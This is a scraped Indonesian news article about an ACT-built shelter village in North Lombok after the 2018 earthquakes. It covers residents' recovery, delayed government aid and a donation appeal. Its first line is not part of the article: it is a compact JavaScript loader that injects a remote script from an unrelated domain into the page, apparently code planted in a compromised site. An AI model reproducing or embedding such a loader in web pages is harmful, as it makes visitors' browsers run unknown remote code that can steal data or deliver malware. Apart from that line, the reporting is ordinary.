(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ACT KALSEL

Masyarakat Merasakan Hidup Kedua di Shelter ACT


SUARA adzan shalat asyhar baru saja usai. Warga yang mendengar panggilan suci tersebut mendatangi tempat sholat untuk menunaikan kewajibannya sholat berjamaah. Ya, bencana yang dialami warga Lombok, justru semakin mendekatkan mereka kepada Sang Khaliknya.

Ditemani tim Aksi Cepat Tanggap (ACT) Kalimantan Selatan Retno Sulisetiyani, saya pun menyempatkan diri meninjau salah satu lokasi kampung yang baru diresmikan pada 18 September 2018. Berbeda jauh dengan kanan kiri dari tempat kami berdiri yang luluh lantak oleh gempa, di tempat ini beberapa bocah telanjang kaki terlihat riang bermain.

“Kakak ACT bagi Ice cream coklat dong…,” sambut Ahmad, bocah berkaos hitam yang warnanya sudah mulai pudar. Wajahnya yang selalu tersenyum dengan empat gigi putih bagian depan yang terlihat penuh mengikuti lekuk pipi. Dibandingkan dengan teman-temannya, Ahmad memang memiliki postur tubuh lebih tinggi.

Keakraban dan senyum ceria anak-anak ini sama sekali menepis persepsiku, bahkan mungkin persepsi pembaca yang belum pernah berkunjung ke Lombok pasca gempa pada 29 juli 2018. Panas terik hari itu, Rabu tanggal 3 Oktober 2018 menjadi semilir angin yang menerbangkan ujung hijab yang kukenakan. Bersamaan dengan itu terbang pula segala gundah yang kubawa ketika berangkat dari Banjarbaru, Selasa (2/10) siang.

Warga Lombok sudah tersenyum lagi. Ya, meski rumah mereka masih rata dengan tanah yang entah kapan akan bisa berdiri lagi seperti sebelum gempa. Beberapa waktu lalu, Presiden Jokowi kala berkunjung menjanjikan memberikan bantuan Rp 50 juta bagi korban. Tapi bantuan itu tak kunjung tiba.

Lalu, harapan mulai tipis saat terbit surat Kementerian Sosial Nomor 1899/LSS-SET/9/2018 tertanggal 21 September 2018. Surat yang di tandatangani Dirjen Perlindungan dan Jaminan Sosial, Harry Hikmat berisi empat poin. Intinya bantuan Jatah Hidup (jadup) bagi korban gempa masih masuk tahap anggaran. Poin tiga dan empat menegaskan jadup terancam batal. Pemerintah Pusat memiliki keterbatasan anggaran. Dalam surat itu juga diminta Gubernur NTB menyampaikan ke Bupati/Walikota agar tidak menjanjikan ke masyarakat terkait penyaluran bantuan stimultan tersebut.



Di tengah nestapa menunggu bantuan dan lambatnya roda ekonomi di Lombok, lagi-lagi warga dikejutkan kabar bahwa NGO dan relawan tidak boleh memberikan bantuan. Kabar tersebut sempat memicu demo warga. “Saya ikut demo juga. Bantuan pemerintah hanya beras, gula, dan minyak tiga minggu kami baru dapat barangnya. Kami terimapun mau dimasak dengan apa? Alat masak kami rusak. Sejak bencana hingga kini kami dapat makan dari relawan, kalau relawan diusir siapa kasih kami makan,” kata Irham, seorang guru madrasah yang akhirnya juga terpanggil menjadi relawan lokal.

Dengan segala polemik aturan bantuan, ACT tetap gagah dengan rencana merelokasi pengungsi dari tenda daruratnya. Terbukti dengan MOU bersama Pemerintah setempat ACT mendapat lahan pinjam sebesar 3 hektar. Lahan ini dibangun tempat tinggal yang terintegrasi dengan nama Integrated Community Shelter (ICS) di Desa Gondang Kecamatan Gangga Lombok utara. Terdiri dari 244 hunian, 1 unit Warung Wakaf, 1 Unit AHS (ACT Humanity Store), 4 unit MCK masing-masing 8 pintu. 1 unit masjid, 1 unit dapur umum dan 1 unit sekolah yang terdiri dari 3 ruang kelas.

Di lahan seluas 3 hektar ini masyarakat Desa Gondang Kecamatan Gangga Lombok utara bisa memulai hidup kedua mereka lagi. Bekerja di ladang, kantor atau berdagang dengan tidak was-was meninggalkan anak, orang tua dan harta benda yang tersisa.

“Sudah bisa ke ladang lagi kami, bisa bekerja seperti dulu lagi. Senang bisa dibuatkan shelter seperti ini,” kata Nurimah yang menempati shelternya bersama dengan suami, anak, dan adiknya.

Setelah dibangun shelter, tim ACT banyak kedatangan proposal yang minta dibangunkan shelter atau hunian sementara. “Banyak yang datang dan memberikan proposal minta dibuatkan. Karena katanya shelter yang dibuatkan ACT berbeda dengan yang sudah dibangun oleh pihak lain,” kata Dede Abdurahman, tim konstruksi dari ACT Jakarta yang sudah tinggal lebih dari 2 bulan di Lombok.

Masih banyak orang-orang luarbiasa yang sekarang mencoba kembali hidup normal. Tak lupa dengan bencana di Sulawesi Tengah mari salurkan donasi bagi Sulteng dan Lombok melalui kanalkalimantan peduli bersama ACT BNI Syariah 8660 2910 1806 0001 atau kontak di nomor telephone dan wa 0821 5697 5597. (Desy)

Reporter : Desy
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.